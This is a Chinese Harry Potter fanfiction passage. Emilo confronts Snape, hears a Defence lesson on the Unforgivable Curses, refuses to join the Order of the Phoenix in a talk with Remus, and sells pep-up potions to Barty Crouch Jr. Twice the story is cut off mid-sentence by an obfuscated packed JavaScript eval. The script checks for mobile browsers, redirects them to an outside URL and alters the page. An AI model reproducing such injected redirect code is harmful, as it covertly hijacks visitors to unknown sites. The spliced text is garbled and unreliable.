西弗勒斯猛地停步,转过身,黑色的长袍划出一个凌厉的弧度,脸上写满了不耐和阴郁:“别多管闲事!德蒙特!”他压低声音,带着警告的意味,“你该很清楚我以后会是什么人,会站在哪一边。”他试图甩开埃米洛。 但埃米洛的手更快,也更用力地抓住了他的手腕。那力道让斯内普吃了一惊,他没想到这个看似瘦削的格兰芬多有这么大的力气。 “你会设计出反咒的,是么?”埃米洛的眼睛紧盯着斯内普,里面有一种近乎笃定的审视和紧迫的逼迫,“针对那个……危险的咒语。”他没有明说,但两人都心知肚明指的是什么—— “……”西弗勒斯的嘴唇抿成一条苍白的细线,黑眼睛里瞬间翻涌起复杂的情绪:怨恨、屈辱、被看穿的恼怒,还有一丝……挣扎。 “说话!” 埃米洛不自觉地提高了音量,在地窖的寂静中显得格外突兀,抓住西弗勒斯手腕的手指收得更紧。 “这关你什么事呢,德蒙特?”斯内普的声音像毒蛇的嘶嘶声,充满了尖锐的嘲讽和自暴自弃,“世道已经烂透了,自顾不暇!少在这里扮演圣人!”他用力挣扎了一下,试图挣脱那只铁钳般的手,“而且,你这迟来的‘善意’和‘愧疚’,不觉得虚伪吗?晚了!” “对不起。”埃米洛飞快地说。虽然从头到尾,他都没有真正对不起他的地方,但很多时候,什么都没有发生难道就不存在伤害了么? 西弗勒斯眼中的怨恨被这句突如其来的道歉冲散了些许,取而代之的是更深的困惑和一种被冒犯的别扭感。他眉头紧锁,用尽全身力气猛地一拽,终于将自己的手抽了出来,并故意带得埃米洛一个踉跄。 “离我远点,格兰芬多。”斯内普丢下这句冰冷的话,像一道黑色的飓风,迅速消失在昏暗的地窖走廊深处。 大约两周后,埃米洛在独自复习魔药笔记时。一行锋利、锐利、仿佛用刀尖刻上去般的字迹,突兀地出现在空白处。那字迹带着一种压抑的愤怒和冰冷的效率感,每一个字母都尖锐极了: “反咒:速速愈合(Vulnera Sanentur)。” 旁边极其简略地标注了手势要点。 埃米洛的手指轻轻拂过那行字迹,墨迹甚至微微凹陷了羊皮纸。他没有抬头,只是静静地看着。紧绷着的肩膀放松下来。 11.一个湿手印 二月的春风已至,霍格沃茨城堡外的冰雪边缘开始消融,露出底下深色的泥土和枯草,但寒意依旧凛冽,像一层无形的冰壳包裹着人心。城堡内的紧张气氛并未因季节的转换而缓和,反而如同地窖里酝酿的魔药,越发浓稠压抑。 “今天我们来讲不可饶恕咒。”站在讲台上的声音干脆利落,瞬间吸引了所有学生的注意力。今年的高阶黑魔法防御课老师是多卡斯·梅多斯,她是一位留着利落的一刀切齐耳短发的飒爽女性,几缕不羁的碎发垂在额前,经常穿着方便行动的深色傲罗制服长袍,外面随意披着一件同样深色的、边缘磨损的旅行斗篷——那是真正经历过风雨的痕迹。这位早他们五岁毕业的前辈身上没有半分学院教师的学究气,举手投足间带着一种久经沙场的老练和一种不容置疑的锐利。 不同于上学期那位被揭露是食死徒假扮的卡洛教授,梅多斯非常受格兰芬多学生们欢迎。即使是那些骨子里带着傲慢的斯莱特林,也不得不暗地里承认这位年轻的女巫“有两把刷子”——她的魔咒精准而强大,讲解深入浅出,更重要的是,她身上那股直面黑暗的勇气和坦荡,在如今人人自危的环境下,直白的像一道刺破阴霾的光。 “谁来说说不可饶恕咒有哪些?”梅多斯锐利的目光扫过教室。 钻心咒,夺魂咒,阿瓦达索命……埃米洛在心里无声地报出答案,指尖无意识地捻着课本粗糙的页角。他强迫自己将视线聚焦在讲台上,试图用理性压下翻涌的情绪。 “有谁能说说这些咒语为什么邪恶呢?” “波特,你来。”梅多斯点了詹姆,他把手举得很高。 “因为不可饶恕咒的发动需要极强烈的恶念!”詹姆站起来,声音响亮而清晰,带着对黑白分明的笃定,“只有那些心里充满恶意,恨意滔天的人,才能成功施展!它们是邪恶的象征!”他瞥了一眼斯莱特林的方向,意有所指。 “是这样,没错。”梅多斯点点头,脸上没什么表情。她魔杖轻挥,一只原本在讲台上爬行的蜘蛛瞬间变得有脸盆那么大,清晰地呈现在所有学生面前:“理论如此。但现实……”她话音未落,杖尖猛地指向那只巨型蜘蛛,清晰而冷酷地吐出咒语:“阿瓦达索命!” 一道刺目的绿光激射而出,精准地打在蜘蛛的一条前肢上。没有惊天动地的爆炸,只有一声令人牙酸的“咔嚓”脆响。那条腿瞬间变得焦黑、扭曲,无力地耷拉下来。巨大的蜘蛛痛苦地蜷缩了一下,剩下的七条腿挣扎着,试图继续爬行,动作笨拙而艰难。前排的几个女生捂住了嘴,发出一声短促的尖叫。 “看到了吗?”梅多斯的声音依旧平静,却带着一种穿透人心的力量,“大部分人,即使怀着杀意,也只能做到这种程度——重伤,致残,带来无尽的痛苦,但未必能瞬间夺命。强大的魔力固然重要,但真正驱动不可饶恕咒达到其恐怖威力的,是施咒者灵魂深处那纯粹而极致的恶意。”她微微弯了一下嘴角,那笑容里没有丝毫暖意,只有冰冷的讽刺,“这也是为什么食死徒——”她毫不避讳地念出这个令人闻风丧胆的名字,教室里瞬间死寂,“——邪恶的原因,并不仅仅在于他们杀人。” 她的目光缓缓扫过每一张年轻的面孔,那些或惊恐、或愤怒、或沉思的脸。“一个已经被证实的结论是——每一次成功施展不可饶恕咒,每一次用这种源于纯粹恶意的力量去折磨、去控制、去剥夺一个无辜的生命,都是在以另外一种更隐蔽、更彻底的方式杀死自己。” 她顿了顿,话题似乎有些偏移,但每个人都听出了其中的深意:“我知道有些同学,或许因为家庭,或许因为某些经历,会对麻瓜、对麻瓜出身者抱有根深蒂固的偏见……就我个人而言,这种‘非我族类,其心必异’的心态,是人类历史上最古老、最难消除的观念之一。保密法的存在确实也确实损害了一些巫师家族的利益,尤其是那些与麻瓜世界联系紧密的。这些矛盾是真实的。” “但是,各位,”她的声音陡然拔高,带着一种近乎质问的力量,“请你们仔细思考一下自己!为了一直存在的‘血统纯净’、为了维护某种虚幻的‘优越感’、或者仅仅是为了在乱世中‘站对队伍’以求自保,就放任自己滑向那个深渊,让自己变成一个随时随地心怀恶意、以伤害他人为乐、甚至以此为荣的疯子……到底值不值得?这真的是你们想要的未来吗?这真的是‘好’的吗?即使你们最终赢得了所谓的‘胜利’,代价是变成一个自己都憎恶的怪物,这种胜利又有何意义?” 底下的嗡嗡议论声瞬间变得激烈起来,斯莱特林那边传来压抑的冷哼和反驳的低语,格兰芬多则大多表情激动,用力点头。拉文克劳和赫奇帕奇的学生们则陷入了更深的思考,脸上写满忧虑和挣扎。 多卡斯·梅多斯没有急于平息议论,她静静地等待了几秒钟,让那些尖锐的问题在每个人心中回荡、碰撞。然后,她再次拍了拍手,清脆的响声让教室重新安静下来。 “话题转回来,”她的语气恢复了教学时的冷静,“我们开始学习对抗夺魂咒的方法。这是你们在当下环境中,最可能遭遇、也最需要掌握的防御技能。理论部分在课本第127页,实践部分……”她环视一周,“需要强大的意志力和清晰的自我认知。课后有任何疑问,或者……想讨论更深层次问题的,欢迎随时来我的办公室。” …… 那节黑魔法防御课之后,“凤凰社”这个名字,开始在霍格沃茨隐秘而迅速地传播开来。它被描述为一个由邓布利多秘密领导、对抗神秘人和食死徒的地下组织。传言中,它的选拔极其严苛,成员身份高度保密,执行着最危险的任务。埃米洛在魔法部法律执行司实习期间,曾在积满灰尘的卷宗角落里瞥见过这个名字——和食死徒一起,被列为“非法集结的武装团体”,其领导者矛头直指邓布利多,只是缺乏确凿证据。 “我们都加入了!”一天傍晚,埃米洛刚走到宿舍的门前,就听到宿舍门内传来詹姆急切的声音,“这有什么好考虑的?多卡斯说得还不够清楚吗?现在正是需要人手的时候!” “我需要再思考一下……詹姆。”这是彼得的声音,比平时更细弱,带着明显的犹豫和不安。 “思考?彼得!外面天天都在死人!对角巷、霍格莫德、甚至麻瓜的街道……我们难道就躲在学校里假装看不见吗?”小天狼星在的声音带着烦躁。 埃米洛的脚步停在门外,厚重的橡木门板并未完全隔绝里面的对话。他正打算开锁,门内的声音却因他的靠近而骤然停止,陷入一种突兀的的沉默。他深吸一口气,面无表情的推开了门。 宿舍里的空气仿佛凝固了。詹姆站在中间,双手叉腰,脸上还带着未消的激动红晕;小天狼星眼神却锐利地扫向门口;彼得坐在他自己的床沿,双手紧张地绞在一起,低着头;莱姆斯则站在窗边,背对着门口,似乎在看着窗外暮色中的城堡。 “晚上好,埃米洛。”莱姆斯最先转过身,打破了沉寂,他的声音一如既往的温和:“你今天怎么这么早回来了?图书馆闭馆了?” “墨水用没了。”埃米洛简短地回答,径直走向自己的书桌,拉开抽屉翻找。他能感觉到另外三双眼睛落在自己背上,宿舍里弥漫着一种凝滞感,刚才的话题像一团无形的烟雾,悬在半空。 他找到了墨水瓶,握在手里,冰凉的玻璃触感让他略微定神。“你们继续,”他背对着他们,语气平淡无波,仿佛刚才的对话从未发生过,“不用管我。” 虽然他这么说,但这个关于“凤凰社”的话题,就像被强行按下的暂停键,再也无法自然地继续下去。 埃米洛拿起毛巾和换洗衣物,决定离开。走到门口时,他听见身后传来脚步声。莱姆斯跟了上来。 “……你难道准备跟我一起洗么?”埃米洛在通往级长浴室的走廊拐角停下,转身看着莱姆斯。 莱姆斯没有笑,他的表情很认真,带着一种温和的坚持。石洞在埃米洛报出口令后无声地滑开,露出里面奢华宽敞、水汽氤氲的空间。埃米洛径直走进去,开始脱去厚重的校袍和毛衣。 温热潮湿的空气包裹上来,带着香精的淡淡芬芳。埃米洛将衣物整齐地叠放在干燥的石凳上。大理石雕刻的美人鱼雕像口中吐出汩汩热水,蒸汽模糊了精致的马赛克壁画。 “埃米洛……”莱姆斯的声音在水汽蒸腾中显得有些模糊,他站在池边,没有下水,似乎在斟酌词句,“……其实詹姆也是想邀请你的。”他终于艰难地开了口,打破了只有水声的寂静。 埃米洛的动作没有丝毫停顿,他踏入温热的水中,舒适的温度让他紧绷的神经稍微松弛了一瞬。 “我们都知道了你家里的事……现在的情况有多糟糕,你比我们更清楚,你在魔法部实习过,亲眼见过……”莱姆斯的声音带着诚恳的忧虑,“现在需要有人站出来,跟……跟他们做斗争。凤凰社,它或许是非法的,但邓布利多在领导它!这不会影响你将来的职业规划,社里……社里是有魔法部的傲罗的,像多卡斯那样的!他们都在做正确的事!” 埃米洛仿佛没听见一般,整个人沉入温暖的水底。水流包裹着他,隔绝了声音,带来片刻的安宁。几秒钟后,他猛地浮上水面,带起一片水花。他用力抹了一把脸,将湿漉漉的黑发全部向后撩去,露出光洁的额头和那双过于清醒的灰蓝色眼睛。水珠顺着他棱角分明的下颌线滚落。 “不是詹姆想邀请我吧。”埃米洛的声音穿透水雾,清晰而锐利,像一把手术刀,精准地剖开了莱姆斯话语下的真实意图。他直视着岸上好友那双温和的、此刻却充满挣扎的棕色眼睛。 “你其实也对凤凰社这种非法组织有所怀疑,有所顾虑,对不对?”他顿了顿,不给莱姆斯反驳的机会,继续冷静地分析,“詹姆天真,相信正义必胜,热血上头就想冲锋陷阵。布莱克……”他提到那个姓氏时,语气没有任何波澜,“他骨子里有毁灭的倾向,对抗食死徒对他而言可能更像一场刺激的冒险,或者一场向家族宣战的仪式。彼得……”埃米洛的视线似乎穿过莱姆斯,看向虚空,“他基本上听詹姆的,没有自己的主意,只想依附强者获得安全感。” 他的目光重新聚焦在莱姆斯脸上:“而你,你心中有真正的正义感,有善良的本性。而且……”他毫不客气的陈述了一个心照不宣的事实,“你狼人的身份让你注定无法进入圣芒戈或者魔法部这种有着严格审查的官方部门。凤凰社,对你而言,几乎是唯一能让你发挥能力、证明价值、并且被‘自己人’接纳的地方,是你最好的选择,甚至是唯一的选择。” “那你在顾虑什么呢?”埃米洛步步紧逼,灰蓝色的眼眸在蒸汽中显得格外深邃。 莱姆斯的身体明显僵硬了一下,手指无意识地攥紧了裤缝。 “让我猜猜……是因为狼人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“逃跑?懦夫?”埃米洛嗤笑一声,水波随着他的动作荡漾开,“不加入凤凰社就不是格兰芬多了?这真是你心里的‘勇敢’告诉你的吗?莱姆斯,这是你自己的想法?我猜只有一部分吧。詹姆·波特那种无时无刻不在追求刺激的英雄主义和布莱克那种必须区分出来黑白的偏执在影响了你。” “你把自己放在友情的低位上,所以潜移默化地萌生了这种‘不加入就是背叛、就是懦弱’的观念。” 卢平彻底顿住了。埃米洛的话像一把重锤,狠狠砸在他一直试图回避的某个点上。他张了张嘴,心里有一个声音在大叫:不!不是!纯血主义就是错误的!你快反驳他!但他却发现自己说不出话来。 詹姆那充满感染力的热情,对朋友近乎霸道的要求,以及对“掠夺者”这个小团体无条件的忠诚……这些确实像空气一样包裹着他,影响着他。他依赖这份友情带来的温暖和归属感,以至于有时会模糊了自己的该有的自尊和正义……就像去年在黑湖,他应该,应该制止他们的…… 他感觉到一阵痛苦。 “我不会加入凤凰社的。”埃米洛的声音在空旷的浴室里带着回音。“你发现了么?社会从来就不是非黑即白的,所以我们也不能用这种思想去战斗,去站队。假使凤凰社赢了,然后呢?”他抛出尖锐的问题,“大家开始对斯莱特林的纯血家族进行肃清?像他们对待麻种巫师一样?现在喊着解放麻种巫师,赢得胜利后,下一步是不是要解放家养小精灵?再然后呢?压迫无处不在,区别只在于形式和对象。”他深吸一口气,温热潮湿的空气吸入肺腑,却带着一丝沉重的凉意,“格兰芬多总是在为这些……‘正义’而斗争,热血沸腾,前赴后继。但结果往往是旧的压迫被打破,新的枷锁又被铸造出来,循环往复……” “可这些都是对的。”莱姆斯说道:“不应该,埃米洛,你明明之前也觉得这些争斗是对的……” “我现在不这么认为了。更高效的社会机器才是对的。更明智、更务实、更懂得平衡与制衡的领导人才是对的。合理的法律……让对的人,坐到真正适合他们能力、并且能约束其权力的位置上。自上而下的变革,才能带来真正的秩序,减少无谓的流血。” “邓布利多会是那个人!”莱姆斯急切地打断他,语气中带着不容置疑的信仰,“他有这个智慧和力量!” “也许是,也许不是。”埃米洛毫不退让:“他如果想要是,他早就是了。为什么他前两年拒绝了魔法部长的职务呢?也许他自己都没有信心去驾驭那个庞大而腐朽的官僚机器,也许他更愿意做一个超然的‘导师’,在幕后操纵棋子……谁知道呢?”他摇了摇头,“把希望完全寄托在一个人的‘对’上,本身就是最大的冒险。” 人鱼的歌声变得哀怨起来。 浴室中回荡着莱姆斯一声沉重的叹息,饱含着无奈和一种深刻的悲哀:“埃米洛……你不是不相信凤凰社,不愿意相信任何人?”句子是问句,但语气是肯定的。 “每个人都是,而且我相信过,那是世界上最脆弱的东西。”埃米洛从温暖的水中猛地站起身,带起哗啦一片水声。水珠顺着他年轻的身体线条滚落。他站在及腰深的水里,居高临下地看着蹲坐在池边的莱姆斯,眼神平静无波:“不要轻易把自己放在一个需要不断被他人考量‘信任’的位置上,那太危险了。对你尤其是这样。” 他迈出浴池,带起一阵水花。他没有再看莱姆斯,径直走向放毛巾的石凳。只是在经过莱姆斯身边时,用湿漉漉的手拍了拍莱姆斯的肩膀,留下一个冰冷而清晰的手印。一个无声的提醒。然后他裹上毛巾,头也不回地走进了更衣隔间,留下狼人独自一人迷茫而沮丧。 12.两百金加隆 坐在齿轮里的改革者,比站在外面的批判者多一项武器——扳手卡进关键轴心的机会。 ——1977年5月,埃米洛,留于黑湖边 距离新的五年级OWLs考试还有100天的时候,伯莎找到埃米洛与他商量一笔生意,埃米洛思考了风险和收益之后,找到了西弗勒斯。 提神剂?斯内普的冷哼在潮湿的魔药教室空气里回荡,带着他一贯的、对他人愚蠢的轻蔑。 “乔金斯学姐帮我牵的线。”埃米洛将那张密密麻麻的名单在布满魔药渍的台面上推过去。“她很能干,拉文克劳内部需求很大……毕竟庞弗雷夫人不想提供这些。”他顿了一下,眼眸扫过西弗勒斯漆黑的眼睛,“乔金斯学姐说她只抽两成。如果你加入,我们俩四四。” 坩埚底微弱的蓝色火焰发出轻微的噼啪声。 “我五你三。”西弗勒斯抱着胳膊,下巴微抬,黑眼睛里闪烁着精明的算计和一丝不易察觉的试探。 “可以。”埃米洛的回答快得像出鞘的匕首,斩钉截铁,没有丝毫犹豫。 这反常的痛快让西弗勒斯猛地挑起眉毛,黑发下锐利的目光像探针一样刺向埃米洛。他明白了——埃米洛早就料到了这个结果,甚至可能期待这个结果。四四分成不过是个诱饵,引他主动咬上五三的钩。一种被看穿、被利用的不快和被对方急迫处境所裹挟的复杂情绪涌上心头。 “你很急着用钱?”西弗勒斯的声音带着一丝不易察觉的紧绷,又冷哼一声,带着试图给自己找回场子的恼怒。 “我什么时候不急着用钱了。”埃米洛看了他一眼,堵得西弗勒斯一时语塞。 短暂的沉默后,西弗勒斯发出一声更响的哼声,像是要把那点不自在甩掉。他猛地转身,抄起一把银质小刀,动作近乎粗暴地开始切割手边的瞌睡豆。薄如蝉翼的豆片在刀下精准地分离,带着一种宣泄般的冷酷优雅。 “……他们(拉文克劳)聪明的大脑现在是被浆糊糊住了么?”他讥讽道,刀刃撞击砧板的声音格外清脆,“如果他们多看看魔药课本,就会明白依赖提神剂不如依赖大脑。看看这个——你上司的儿子,八瓶,直到考试前他看来是不准备睡觉了……” “他要的确实是太多了……不过毕竟是继承了父亲名字的独生子,家族寄予厚望也很正常。”埃米洛的刀剑悬停在瞌睡豆上,他盯着那个和上司一摸一样的名字,眉头锁紧,想到了之前听到的事。 那是一个阳光暖洋洋的午后。空气中飘散着羊皮纸、墨水和一丝若有若无的旧书卷气。伯莎怀里抱着几个鼓囊囊的纸袋走进来。 “来来来,慰劳品到啦!”她声音轻快,带着点分享的喜悦,先给阿米莉亚桌上放了一盒包装精美的巧克力坩埚蛋糕,又扔给埃米洛一袋滋滋蜜蜂糖。目光扫过亚克斯利那张堆满卷宗的办公桌时,脚步顿了顿,脸上掠过一丝不易察觉的嫌弃。她几乎是随手——带着点漫不经心的敷衍——将一小包最普通的甘草魔杖丢在桌角,仿佛那是什么需要尽快脱手的垃圾。 “啧啧,这阳光,简直催眠…”伯莎自己拆开一盒豪华装的草莓花生酱冰淇淋,舀了一大勺塞进嘴里,满足地眯起眼,含糊不清地开启了话题,“别看我们司长大人…外面人模人样,成功男人的典范,《预言家日报》的常客,啧啧。”她摇了摇头,语气里充满了过来人的洞悉和一丝不易察觉的鄙夷,“家里那摊子事,差劲得很呐!要我说,男人啊,表面光鲜,骨子里一个样,靠不住!” 她下意识地和坐在对面的阿米莉亚交换了一个“你懂的”眼神。两位女士间隐秘的情感交汇让两个人都开心的笑了起来。就在这时,伯莎猛地想起办公室里唯一的男士——埃米洛正埋首在一堆文件里,羽毛笔沙沙作响。她脸上闪过一丝尴尬,连忙朝埃米洛的方向补救道:“哦!埃米洛,别误会!没有说你的意思,你不一样,你…呃…是个好人!”她努力想找个更贴切的词,却一时语塞。 埃米洛的羽毛笔在羊皮纸上短暂地停顿了一下,平静无波的声音响起:“没事。我赞同你说的,男人都不是什么好东西。” 他的语调毫无起伏,让伯莎和阿米莉亚都愣了一下。 伯莎松了口气,尴尬迅速被更强的分享欲取代。她凑近两人,压低了声音,带着一种分享惊天秘闻的兴奋:“嘿,你们知道吗?就老头(克劳奇在实习生之间的代称)……”她用勺子指了指司长办公室的方向,“他儿子,小巴蒂,比我低两届,明年也要考OWLs了。那孩子……真是优等生中的优等生,门门功课顶尖!可这学期黑魔法防御术不是难出天际了么?听说小帅哥没考到‘优秀’(O),就一个‘良好’(E)!你们猜怎么着?老头!当着好些人的面,直接一个四分五裂咒,把他那把崭新的光轮给炸成了碎片!光轮耶!我那天正好在帮老巫婆(乌姆里奇)跑腿,亲耳听到那‘砰’的一声巨响,还有碎片飞溅的声音……还说什么,下次再这样就别回家了。梅林,光听着都窒息了!我爸要这么跟我说话我绝对会哭……” 她灌了一大口冰淇淋,冰凉感似乎压下了那份震惊,继续爆料:“还有更绝的呢!你们知道经常飞到司里,给老头送信的那只漂亮的雪鸮是谁的吗?是他老婆的!克劳奇夫人!”伯莎的眼睛因为兴奋而发亮,“那信的内容…哎呦,我可不是故意偷看的,整理文件时不小心瞟到的嘛!” “那语气……真的,差不多就是在恳求:‘亲爱的巴蒂,今晚回家吃饭吗?我做了你喜欢的…’ 诸如此类。结果呢?老头连拆都不拆!全让我直接扔进废纸篓!哎呀呀,”她看到阿米莉亚微微蹙起的眉头,连忙摆摆手,露出一个狡黠又有点心虚的笑容,“别指责我啊!好奇心嘛…嘿嘿,你们懂的,谁能忍得住?” 阿米莉亚放下手里的羽毛笔,脸上带着一丝怜悯:“强势到近乎冷酷的父亲,懦弱隐忍的母亲……这种家庭组合。”她轻轻摇了摇头,若有所思地说,“怪不得…部里都传乌姆里奇女士对司长先生‘关怀备至’,存了那份心思。原来如此。”她的最后一句话带着一丝讽刺。 “就是说啦!”伯莎深表赞同,又往嘴里送了一大勺冰淇淋。 -------- 夕阳的余晖将霍格沃茨城堡长长的影子投在草坪上。埃米洛背着鼓鼓囊囊的书包,里面装着八瓶用软布仔细包裹好的高浓度提神药剂,步履匆匆地走向图书馆。推开沉重的橡木门,一股混合着旧书页、羊皮纸和年轻巫师焦虑汗味的气息扑面而来。图书馆里人满为患,几乎每个角落都塞满了即将参加OWLs考试的五年级学生,他们脸上写满了疲惫和紧张,像一群被考试压弯了腰的向日葵。去年此时,埃米洛也曾是他们中的一员,淹没在如小山般的复习资料里。 他的目光快速地扫过一排排书架和长桌并锁定了目标。在远离窗户、光线相对昏暗的一个角落,一个金发男生正伏案疾书——头发梳理得一丝不苟,如同用尺子量过;领带打得紧实规整,透着一股近乎强迫症的严谨。即使坐在阴影里,也能看到他眼底浓重的、掩盖不了的黑眼圈。五官轮廓与魔法法律执行司那位威严的司长不太相似,想必是更多地遗传了那位母亲。 羽毛笔的末端几乎被他无意识地啃成了毛刷,笔尖在羊皮纸上发出急促的沙沙声,仿佛在与无形的倒计时赛跑。还没有走进,一种强烈到几乎实质化的焦虑感便包围住了埃米洛。 埃米洛坐在了他旁边,将沉甸甸的书包放在桌角,发出轻微的“咚”声。 “八瓶,四百加隆。”他开门见山,声音压得很低,确保只有两个人能听见。 对方仿佛完全沉浸在自己的题海世界中,对身边的一切充耳不闻。 埃米洛伸出手,轻轻拍了拍他紧绷的肩膀。这个再寻常不过的动作,像触碰了某个无形的开关。小巴蒂猛地一抖,如同被烙铁烫到,整个人瞬间弹直,手中的羽毛笔“啪嗒”掉在桌上。他飞快地转过头,脸色在昏暗光线下瞬间变得惨白如纸,浅色的瞳孔因惊惧而急剧收缩,呼吸都停滞了一瞬。 埃米洛下意识地眨了眨眼——这个反应他太熟悉了。一个典型的、在长期高压、甚至可能伴随突然责罚的家庭环境中形成的应激反应。身体比大脑更快地记住了恐惧。 “……不好意思,备考太用心了。”他几乎是瞬间就意识到了自己的失态。那层惊惧像潮水般迅速退去,取而代之的是一种近乎完美的、训练有素的镇定。他飞快地捡起羽毛笔,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895875|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上迅速堆砌起一个堪称“社交典范”的微笑,礼貌、得体,像一层精致的石膏面具,隔绝了所有真实情绪。“谢谢学长。请…动作轻些。”他的声音也恢复了平稳,只是尾音带着一丝不易察觉的紧绷,眼神里残留着警告。 埃米洛从书包夹层抽出一张泛黄的羊皮纸,声音压得更低,确保不被附近的平斯夫人察觉:“交易完成前,你需要签字。”他将羊皮纸推到小巴蒂面前,上面布满了细密的、闪着微弱银光的符文。“一个简单的保密咒。如果你向任何人——尤其是你父亲——透露这些药剂的来源或用途,”埃米洛盯着小巴蒂的眼睛,一字一句地说,“你的脸上将会长满痤疮,它们会像荣耀的胸章一样醒目,直到OWLs结束都无法消除。” 这个恶毒而颇具羞辱性的点子,是他和伯莎某次吐槽乌姆里奇时获得的“灵感”。 “如果你不要这么多了,也需要签字……有什么问题么?” 小巴蒂的目光落在羊皮纸上,没有去看那些符文,反而伸出苍白、指节分明的手指,轻轻抚摸着纸张边缘。他的眼神里闪过一丝奇异的光芒,不再是恐惧或社交伪装,而是一种近乎病态的专注和…狂热?他抬起头,看向埃米洛,声音带着一种突兀的探究:“这个咒语……OWLs考试中,能加分吗?” 埃米洛眉头紧锁:“什么?”他怀疑自己听错了。 “我说这个咒语,”小巴蒂的语速快了起来,手指无意识地敲打着桌面,“能加分吧?在OWLs的魔咒实践考试里?它的反咒原理……束缚力的强度……”他的眼神变得急切而灼人,“我一直苦恼……光是‘优秀’(O)不够,我需要的是‘出彩’,对,是出彩!考官会记住的那种!所有人都会记住的那种!” 他突然向前倾身,冰凉的手指猛地抓住了埃米洛的小臂:“你需要钱,对吧,学长?”小巴蒂的声音压得极低,带着一种诱哄又急切的腔调,瞬间切换到了谈判模式,“我可以出钱买这个咒语的详细解析和反咒原理。200加隆怎么样?不够可以再加!” “不好意思,”埃米洛抽回手臂,“这个咒语很危险,而且这不是我一个人制作的,所以暂时不卖。”他的目光无意间扫过小巴蒂摊开的魔咒学试卷,上面密密麻麻的字迹工整漂亮,埃米洛一眼扫过去的关键题目,答案都是对的。伯莎说得没错,小巴蒂·克劳奇是个优秀的好学生,哪怕不要这些加分咒语,他也能拿O的。 而且……埃米洛太熟悉这种模式了。 哪怕拿到O又如何?有的父亲他们想要的是你的优秀么?不是。父权是一种工具——一种用来不断证明父亲权威、不断提醒儿子“你永远不够好,你的价值由我定义”的工具。其他人,那个沉默的母亲,“别人家的孩子”,都不过是这场漫长而残酷的父权霸凌中,被随意使用的道具和背景板罢了。 一股隐秘而复杂的情绪在埃米洛胸腔里翻涌。是同情?怜悯?还是对自己过往伤痕的刺痛?这感觉让他自己都感到不适。他几乎是下意识地放轻了声音,用一种近乎温和的语气说道:“听着,你现在最需要的,不是提神剂,也不是什么出彩的咒语,而是好好睡一觉。” 话音未落,他自己先起了一身鸡皮疙瘩。这突如其来的软弱的关心让他极其别扭。 我在干什么?! 一个声音在埃米洛脑中炸响。立刻拿钱走人!离顶头上司的儿子远点!《魔法部员工如何获得权力》第一条是什么?别管别人家的闲事! 他的手伸向了装着药剂的背包带子,准备立刻撤离。 然而,在他转身的瞬间,目光再次扫过小巴蒂那双因缺乏睡眠而布满血丝、却又燃烧着病态执念的眼睛,扫过他桌上那份几乎无可挑剔却仍被自我苛责的试卷……那只伸向背包带的手,仿佛有了自己的意志,鬼使神差地抓过了小巴蒂桌上的一张空白羊皮纸碎片。 …… “你可以试试这个。”埃米洛的在纸片上写下了一串复杂的咒语符文:“一个能帮助真正入睡的安神咒。温和,副作用很小。如果你能在实践考试里稳定施展它,考官会认可它的价值。” 他朝他露出了一个非常浅的笑容——一个善良温和的学长,或者说,年长者该有的。没看小巴蒂的眼神,步履平稳的离开了。 13.一道夺魂咒 升入七年级的那个暑假,埃米洛重新回到了二手店铺。自从去年艾莲娜出事,德蒙特先生失踪,他便一直没有回来。 空气中弥漫着一股陈腐的味道,混合着积灰的羊皮纸、黯淡的魔法物品和一丝若有若无的、潮湿的霉味——那是长时间无人问津的证明。连带着对角巷——这条曾经熙熙攘攘、充满活力与奇迹的魔法商业街,此刻死寂得像一条被遗忘的墓道。 去年袭击过后,每一家商铺的生意都萧条的厉害。 他掏出魔杖,杖尖轻点锁芯,熟悉的咔哒声响起。推开门,门轴发出滞涩的呻吟,仿佛店铺本身也在抗拒着这最终的告别。店内昏暗的光线里,尘埃在从破损橱窗缝隙透进的微弱天光中无声地飞舞。货架上,那些淘换来的旧魔法书、稀奇古怪的护身符、微微发光的炼金术小玩意儿,如今都像被遗弃的孤儿,沉默地躺在阴影里,覆盖着时间的灰烬。他伸手拂过柜台,指尖在光滑的木面上留下一道清晰的痕迹——那是他与艾莲娜共同擦拭过无数遍的地方,但现在这里只有灰尘。 他是来与卖家商量出售店铺的,明眼人都知道这是一个非常差的时机,如果有别的选择,他绝对不会在这时候出售——去年那场针对对角巷的恐怖袭击之后,这里就彻底完了。恐惧如同瘟疫般蔓延开来,粉碎了人们逛街购物的任何念头。街上行人寥寥无几,脚步匆匆,眼神警惕而游移,仿佛阴影里随时会跳出食死徒。昔日热闹的店铺,一家接一家地挂上了“暂停营业”或“永久关闭”的牌子,橱窗黑洞洞的,像一只只失去光彩的眼睛。整条街只剩下风在空旷的鹅卵石路面上呜咽,卷起几片枯叶和预言家日报。 《预言家日报》的头版触目惊心:大桥像被巨兽踩烂的骨架,扭曲的汽车残骸下压着模糊不清、无声呼救的麻瓜。旁边还列着长长的傲罗伤亡名单,圣芒戈医院里,一个重伤的傲罗在病床上迷迷糊糊地说:“他……他弄了一支死人大军……他手下还放话……说迟早要控制摄魂怪……到那时……到那时……” 。 1977年7月,英格兰一座大桥轰然倒塌。麻瓜们以为是工程问题或神秘爆炸,但巫师们心里都明白:这是那个连名字都不能提的人干的,比去年对角巷的袭击更狠、更可怕! 魔法部部长米里森之前假装和平的纸,一下子被撕得粉碎。魔法部门口挤满了愤怒的巫师,他们举着白布条,用血一样红的漆写着:“废物部长滚蛋!”“保护我们!”“报仇!”圣芒戈魔法医院更是人满为患,走廊里塞满了伤员和哭喊的家属,空气里全是药味和血腥味,闷得人喘不过气。 